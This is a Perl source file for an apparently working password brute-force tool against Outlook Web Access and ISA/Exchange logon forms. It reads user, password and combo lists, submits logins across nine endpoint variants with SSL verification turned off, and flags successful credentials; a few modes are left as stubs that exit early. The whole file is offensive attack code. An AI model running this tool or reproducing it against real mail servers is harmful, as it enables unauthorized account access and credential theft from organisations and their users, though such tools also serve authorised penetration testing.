#!/usr/bin/env perl
#
#####################################################################
# OWA Form-Based Brute Force Script
#####################################################################
#
# Copyright (C) 2010 Joe Mondloch
# JoMo-Kun / jmk@foofus.net
#
# This script is intended for use against OWA's form-based logon.
# While it supports basic-auth, Medusa may be a quicker solution in
# those cases.
#
# Tested against OWA 2003 -- owaauth.dll
# Tested against OWA -- basic auth
#

use Getopt::Long;
use HTTP::Cookies;
use LWP::UserAgent;
use Time::HiRes qw/ time /;

#use LWP::Debug qw(+);

$|++; # don't buffer

my $VERSION = "0.02";
my %opt, %data;
my $ua = LWP::UserAgent->new(env_proxy => 1, keep_alive => 1, timeout => 90);
$ua->ssl_opts( SSL_verify_mode => SSL_VERIFY_NONE );
my $jar = HTTP::Cookies->new();
$ua->cookie_jar($jar);
push @{ $ua->requests_redirectable }, 'POST';

#$ua->add_handler("request_send",  sub { shift->dump; return });
#$ua->add_handler("response_done", sub { shift->dump; return });

print "\nJoMo-Kun: OWA Brute Forcer\n\n";

GetOptions (
  'host=s'      => \$opt{'host'},
  'hostlist=s'  => \$opt{'hostlist'},
  'username=s'  => \$opt{'username'},
  'userlist=s'  => \$opt{'userlist'},
  'password=s'  => \$opt{'password'},
  'passlist=s'  => \$opt{'passlist'},
  'combo=s'     => \$opt{'combo'},
  'domain=s'    => \$opt{'domain'},
  'type=s'      => \$opt{'type'},
  'nopass'      => sub { $opt{'nopass'} = 1 },
  'userpass'    => sub { $opt{'userpass'} = 1 },
  'ssl'         => sub { $opt{'ssl'} = 1 },
  'proxy'       => sub { $opt{'proxy'} = 1 },
);

if  ( !( (defined($opt{'host'}) || defined($opt{'hostlist'})) && 
         ( ( (defined($opt{'username'}) xor defined($opt{'userlist'})) &&
           ( (defined($opt{'password'}) xor defined($opt{'passlist'})) || $opt{'nopass'} || $opt{'userpass'}) ) ||
           (defined($opt{'combo'}) ) && 
         defined($opt{'type'})
        ) 
      ) 
    ) {

  print "OWA Logon Brute-Forcer :: v$VERSION\n";
  print "Usage:\n";
  print " $0\n";
  print "   --host  <IP address>\n";
  print "   --hostlist  <IP address file>\n";
  print "   --domain  <domain name>\n";
  print "   --userlist <username file> [OR]\n";
  print "   --username <username>\n";
  print "   --passlist <password file> [OR]\n";
  print "   --password <password>\n";
  print "   --combo <combo username/password file>\n";
  print "   --nopass [Blank password]\n";
  print "   --userpass [Password matches username]\n";
  print "   --type <1,2,3>\n";
  print "     1: basic auth mode + /\n";
  print "     2: basic auth mode + /exchange\n";
  print "     3: owalogon.asp + owaauth.dll\n";
  print "     4: CookieAuth.dll?Logon?GetLogon?url=%2F (** %2F **)\n";
  print "     5: CookieAuth.dll?GetLogon?curl=Z2F (** Z2F **)\n";
  print "     6: NTLM auth mode\n";
  print "     7: LogonFrm.asp\n";
  print "     8: owa/auth/owaauth.dll (Outlook Light w/ ISA 2007)\n";
  print "     9: /owa/auth.owa (Outlook Web App 2010)\n";
  print "   --ssl [HTTPS]\n";
  print "   --proxy\n";
  print "\n\n";
  exit(1);
}

if ( defined($opt{'host'}) ) { push @hostList, $opt{'host'}; }
else {
  open(HAND, $opt{'hostlist'}) || die("Failed to open: $opt{'hostlist'} $!");
  @hostList=<HAND>;
  close(HAND);
}

if ( defined($opt{'username'}) ) { push @userList, $opt{'username'}; }
elsif ( defined($opt{'userlist'}) ) {
  open(HAND, $opt{'userlist'}) || die("Failed to open: $opt{'userlist'} $!");
  @userList=<HAND>;
  close(HAND);
}

if ( defined($opt{'password'}) ) { push @passList, $opt{'password'}; }
elsif ( defined($opt{'passlist'}) ) {
  open(HAND, $opt{'passlist'}) || die("Failed to open: $opt{'passlist'} $!");
  @passList=<HAND>;
  close(HAND);
}

if ( defined($opt{'combo'}) ) {
  open(HAND, $opt{'combo'}) || die("Failed to open: $opt{'combo'} $!");
  @comboList=<HAND>;
  close(HAND);
}
  
if ($opt{'proxy'}) {
  $ua->proxy(['http', 'https'], 'http://localhost:8008/');
  #$ua->proxy(['http', 'https'], 'http://localhost:4005/');
  # burp proxy and perl no worky?
  #$ua->proxy(['http', 'https'], 'http://localhost:8080/');
}

foreach $host (@hostList) {
  chomp($host);
 
  ($ret) = &chkSrv($host);
  if ($ret) { print "\nConnected to host: $host.\n"; }
  else { print "Failed to connect to host: $host.\n"; exit(0); }

  my $domain = $opt{"domain"};

  foreach $user (@userList) {
    chomp($user);
    $ret = 0;

    if ($opt{'nopass'}) {
      $pass = "";
      ($ret, $time, $msg) = &chkUser($host, $domain, $user, $pass);
      print "\tHost: $host Time: $time Domain: $domain User: $user Password: $pass ==> $msg\n";
    }
    next if ($ret > 0);
    
    if ($opt{'userpass'}) {
      $pass = $user;
      ($ret, $time, $msg) = &chkUser($host, $domain, $user, $pass);
      print "\tHost: $host Time: $time Domain: $domain User: $user Password: $pass ==> $msg\n";
    }
    next if ($ret > 0);
    
    foreach $pass (@passList) {
      chomp($pass);
      ($ret, $time, $msg) = &chkUser($host, $domain, $user, $pass);
      print "\tHost: $host Time: $time Domain: $domain User: $user Password: $pass ==> $msg\n";
      last if ($ret > 0);
    }
  }
    
  foreach $combo (@comboList) {
    my ($user, $pass) = split /:/, $combo;
    chomp($user,$pass);
    my ($ret, $time, $msg) = &chkUser($host, $domain, $user, $pass);
    print "\tHost: $host Time: $time Domain: $domain User: $user Password: $pass ==> $msg\n";
  }
}
exit(0);

sub chkSrv($) {
  my $host = $_[0];
  my $path, $result;
  
  if ($opt{'type'} eq "1") {
    $path = "/";
  }
  elsif ($opt{'type'} eq "2") {
    $path = "exchange/";
  }
  elsif ($opt{'type'} eq "3") {
    $path = "exchweb/bin/auth/owalogon.asp";
  }
  elsif ($opt{'type'} eq "4") {
    #$path = "";
    $path = "exchange";
  }
  elsif ($opt{'type'} eq "5") {
    #$path = "exchange";
    $path = "owa";
  }
  elsif ($opt{'type'} eq "6") {
    $path = "/EWS/Exchange.asmx";
    print "VERIFY PATH, FIX IF NEEDED and REMOVE THIS LINE..."; exit(1);
  }
  elsif ($opt{'type'} eq "7") {
    $path = "/exchange/LogonFrm.asp";
    print "VERIFY PATH, FIX IF NEEDED and REMOVE THIS LINE..."; exit(1);
  }
  elsif ($opt{'type'} eq "8") {
    $path = "";
  }
  elsif ($opt{'type'} eq "9") {
    $path = "owa";
  }

  if ($opt{'ssl'}) { $req = new HTTP::Request GET => "https://$host/$path"; }
  else { $req = new HTTP::Request GET => "http://$host/$path"; }

  $req->user_agent('Mozilla/5.0');
  $jar->add_cookie_header($req);
  my $res = $ua->request($req);
  $jar->extract_cookies($res);
      
  #print "RESPONSE: ", $res->as_string, "\n";
  if ($res->as_string =~ /401 Unauthorized/) { print STDERR "SERVER CHECK: 401 Unauthorized\n"; $result = 1; }
  if ($res->as_string =~ /WWW-Authenticate: Basic realm="(.*)"/) { print STDERR "SERVER CHECK: WWW-Authenticate: Basic realm=\"$1\"\n"; $result = 1; }
  if ($res->as_string =~ /Error: Access is Denied./) { print STDERR "SERVER CHECK: Error: Access is Denied.\n"; $result = 1; }
  print STDERR "\n";

  if ($res->is_success) { return(1); }
  elsif ($result) { return(1); }
  else { return(0); }
}

sub chkUser($) {
  my ($host, $domain, $user, $pass) = @_;
  my $path;
  my $time = time(); 

  if ($opt{'type'} eq "1") {
    if ($domain ne "") { $user = "$domain%5C$user"; }
    $path = "";
    if ($opt{'ssl'}) { $req = new HTTP::Request GET => "https://$host/$path"; }
    else             { $req = new HTTP::Request GET => "http://$host/$path"; }
    $req->authorization_basic($user, $pass);
    print "VERIFY, FIX IF NEEDED and REMOVE THIS LINE..."; exit(1);
  }
  elsif ($opt{'type'} eq "2") {
    if ($domain ne "") { $user = "$domain%5C$user"; }
    $path = "exchange/";
    if ($opt{'ssl'}) { $req = new HTTP::Request GET => "https://$host/$path"; }
    else             { $req = new HTTP::Request GET => "http://$host/$path"; }
    $req->authorization_basic($user, $pass);
  }
  elsif ($opt{'type'} eq "3") {
    $path = "exchweb/bin/auth/owaauth.dll";
    if ($opt{'ssl'}) { 
      $req = new HTTP::Request POST => "https://$host/$path";
      $req->referer("https://$host/exchweb/bin/auth/owalogon.asp?url=https://$host/exchange&reason=0");
      if ($domain ne "") {
        $req->content("destination=https%3A%2F%2F$host%2Fexchange&flags=0&domain=$domain&username=$user&password=$pass&SubmitCreds=Log+On&trusted=0");
      } else {
        $req->content("destination=https%3A%2F%2F$host%2Fexchange&flags=0&username=$user&password=$pass&SubmitCreds=Log+On&trusted=0");
      }
    } else {
      $req = new HTTP::Request POST => "http://$host/$path";
      $req->referer("http://$host/exchweb/bin/auth/owalogon.asp?url=http://$host/exchange&reason=0");
      if ($domain ne "") {
        $req->content("destination=https%3A%2F%2F$host%2Fexchange&flags=0&domain=$domain&username=$user&password=$pass&SubmitCreds=Log+On&trusted=0");
      } else {
        $req->content("destination=https%3A%2F%2F$host%2Fexchange&flags=0&username=$user&password=$pass&SubmitCreds=Log+On&trusted=0");
      }
    }
  }
  elsif ($opt{'type'} eq "4") {
    if ($domain ne "") { $user = "$domain%5C$user"; }
    $path = "CookieAuth.dll?Logon";
    if ($opt{'ssl'}) { 
      $req = new HTTP::Request POST => "https://$host/$path";
      $req->referer("https://$host/CookieAuth.dll?GetLogon?url=%2F&reason=0");
      #$req->content("destination=Z2Fexchange&flags=0&username=$user&password=$pass&SubmitCreds=Log+On&trusted=0");
      $req->content("destination=Z2F&flags=0&username=$user&password=$pass&SubmitCreds=Log+On&trusted=0");
    } else {
      $req = new HTTP::Request POST => "http://$host/$path";
      $req->referer("http://$host/CookieAuth.dll?GetLogon?url=%2F&reason=0");
      $req->content("destination=Z2F&flags=0&username=$user&password=$pass&SubmitCreds=Log+On&trusted=0");
    }
  }
  elsif ($opt{'type'} eq "5") {
    if ($domain ne "") { $user = "$domain%5C$user"; }
    $path = "CookieAuth.dll?Logon";
    if ($opt{'ssl'}) { 
      $req = new HTTP::Request POST => "https://$host/$path";
      #$req->referer("https://$host/CookieAuth.dll?GetLogon?curl=Z2F&reason=0");
      $req->referer("https://$host/CookieAuth.dll?GetLogon?curl=Z2F&reason=2&formdir=1");
      #$req->content("curl=Z2F&flags=0&username=$user&password=$pass&SubmitCreds=Log+On&trusted=0");
      #$req->content("curl=Z2F&flags=0&forcedownlevel=0&formdir=1&trusted=0&username=$user&password=$pass&SubmitCreds=Log+On");
      #$req->content("curl=Z2FExchangeZ2F&flags=0&forcedownlevel=0&formdir=3&trusted=0&username=$user&password=$pass&SubmitCreds=Log+On");
      #$req->content("curl=Z2Fexchange&flags=0&forcedownlevel=0&formdir=1&trusted=0&username=$user&password=$pass&SubmitCreds=Log+On");
      $req->content("curl=Z2Fowa&flags=0&forcedownlevel=0&formdir=1&trusted=0&username=$user&password=$pass&SubmitCreds=Log+On");
    } else {
      $req = new HTTP::Request POST => "http://$host/$path";
      $req->referer("http://$host/CookieAuth.dll?GetLogon?curl=Z2F&reason=0");
      $req->content("curl=Z2F&flags=0&username=$user&password=$pass&SubmitCreds=Log+On&trusted=0");
      $req->content("curl=Z2FExchangeZ2F&flags=0&forcedownlevel=0&formdir=1&trusted=0&username=$user&password=$pass&SubmitCreds=Log+On");
    }
  }
  elsif ($opt{'type'} eq "6") {
    print "*********************** NOTICE ***********************\n";
    print "  If authentication fails, verify the following:\n";
    print "  1. Authen::NTLM written by Mark Bush is installed.\n";
    print "  2. Modify line 173 of NTLM.pm to set $domain = \'\'\n";
    print "******************************************************\n";
    #$path = "EWS/Exchange.asmx";
    if ($domain ne "") { $user = "$domain%5C$user"; }
    $ua->credentials("$host", '', "$user", "$pass");
    if ($opt{'ssl'}) { $req = new HTTP::Request POST => "https://$host/$path"; }
    else             { $req = new HTTP::Request POST => "http://$host/$path"; }
    print "VERIFY PATH, FIX IF NEEDED and REMOVE THIS LINE..."; exit(1);
  }
  elsif ($opt{'type'} eq "7") {
    $path = "/exchange/LogonFrm.asp?isnewwindow=0&mailbox=$user";
    if ($opt{'ssl'}) { $req = new HTTP::Request POST => "https://$host/$path"; }
    else             { $req = new HTTP::Request POST => "http://$host/$path"; }
    if ($domain ne "") { $user = "$domain%5C$user"; }
    $req->authorization_basic($user, $pass);
    print "VERIFY PATH, FIX IF NEEDED and REMOVE THIS LINE..."; exit(1);
  }
  elsif ($opt{'type'} eq "8") {
    # Outlook Web Access Light w/ Microsoft ISA 2007
    if ($domain ne "") { $user = "$domain%5C$user"; }
    $path = "owa/auth/owaauth.dll";
    if ($opt{'ssl'}) { 
      $req = new HTTP::Request POST => "https://$host/$path";
      $req->referer("https://$host/owa/auth/logon.aspx?url=https://$host/owa/&reason=0");
      $req->content("destination=https%3A%2F%2F$host%2Fowa%2F&flags=0&forcedownlevel=0&trusted=0&username=$user&password=$pass&isUtf8=1");
    } else {
      $req = new HTTP::Request POST => "http://$host/$path";
      $req->referer("http://$host/owa/auth/logon.aspx?url=https://$host/owa/&reason=0");
      $req->content("destination=http%3A%2F%2F$host%2Fowa%2F&flags=0&forcedownlevel=0&trusted=0&username=$user&password=$pass&isUtf8=1");
    }
  }
  elsif ($opt{'type'} eq "9") {
    # Outlook Web App w/ Exchange 2010
    if ($domain ne "") { $user = "$domain%5C$user"; }
    $path = "owa/auth.owa";
    if ($opt{'ssl'}) { 
      $req = new HTTP::Request POST => "https://$host/$path";
      $req->referer("https://$host/owa/auth/logon.aspx?replaceCurrent=1&reason=2&url=https%3a%2f%2f$host%2fowa%2f");
      $req->content("destination=https%3A%2F%2F$host%2Fowa%2F&flags=0&forcedownlevel=0&trusted=0&username=$user&password=$pass&isUtf8=1");
    } else {
      $req = new HTTP::Request POST => "http://$host/$path";
      $req->referer("http://$host/owa/auth/logon.aspx?replaceCurrent=1&reason=2&url=http%3a%2f%2f$host%2fowa%2f");
      $req->content("destination=http%3A%2F%2F$host%2Fowa%2F&flags=0&forcedownlevel=0&trusted=0&username=$user&password=$pass&isUtf8=1");
    }
    
    $req->header(Cookie => "PBack=0");
  }

  $req->content_type('application/x-www-form-urlencoded');
  $req->user_agent('Mozilla/5.0');
  $jar->add_cookie_header($req);
  my $res = $ua->request($req);
  $jar->extract_cookies($res);

  my $ret = 1, $msg = "*** SUCCESS: Access Allowed ****";
  #print "RESPONSE: ", $res->as_string, "\n";
  if ($res->is_success) {
    if ($res->as_string =~ /Your account has expired. Please contact technical support for your organization./) {
      $ret = 2; $msg = "Login Failed - Account has expired.";
    }
    elsif ($res->as_string =~ /Your account has been disabled. Please contact technical support for your organization./) {
      $ret = 2; $msg = "Login Failed - Account has been disabled.";
    }
    elsif (($res->as_string =~ /You could not be logged on to Outlook Web Access. *Make sure your /) ||
           ($res->as_string =~ /You could not be logged on to ISA Server. *Make sure that your domain name, user name, and password are correct, and then try again./) ||
           ($res->as_string =~ /You could not be logged on to Forefront TMG. *Make sure that your domain name, user name, and password are correct, and then try again./)) {
      $ret = 0; $msg = "Failed (You could not be logged on to Outlook Web Access...)";
    }
    elsif ($res->as_string =~ /You do not have the permissions required to access this Web site. Please contact the Web site administrator./) {
      $ret = 0; $msg = "Failed (You do not have the permissions required to access...)";
    }
    elsif ($res->as_string =~ /Login Failed - Invalid ID or Password/) {
      $ret = 0; $msg = "Failed (Invalid ID or Password...)";
    }
    elsif ($res->as_string =~ /The user name or password that you entered is not valid. Try entering it again./) {
      $ret = 0; $msg = "Failed (user name or password invalid)";
    }
    elsif ($res->as_string =~ /The user name or password you entered isn't correct. Try entering it again./) {
      $ret = 0; $msg = "Failed (user name or password invalid)";
    }
    elsif ($res->as_string =~ /body onload=\'javascript:DoSubmit\(\).*action=\'(.*)\' method=\'post\'/) {
      $ret = 1; $msg = "*** SUCCESS: Valid password, but redirecting (legacy OWA): $1 ***";
    }
    elsif (($res->as_string =~ /could not find a mailbox for (.*?)\./) ||
           ($res->as_string =~ /couldn't be found for (.*?)\./)) {
      $ret = 1; $msg = "*** SUCCESS: Valid password, but no mailbox for: $1 ***";
    }
    elsif ($res->as_string =~ /Outlook Web App is currently disabled for user (.*?)\./) {
      $ret = 1; $msg = "*** SUCCESS: Outlook Web App is currently disabled for user: $1 ***";
    }
    elsif ($res->as_string =~ /Choose the language you want to use\./) {
      $ret = 1; $msg = "*** SUCCESS: Language/Time Zone not set for user ***";
    }
    elsif ($res->as_string =~ /You do not have permission to view this directory or page using the credentials that you supplied because your Web browser is sending a WWW-Authenticate header field that the Web server is not configured to accept./) {
      $ret = 2; $msg = "Failed, stuff may be broken here...";
    }
  }
  else { $msg = " (CODE:" . $res->code . " : " . $res->message . ") "; $ret = 0; }

  return ($ret, time() - $time, $msg);
}
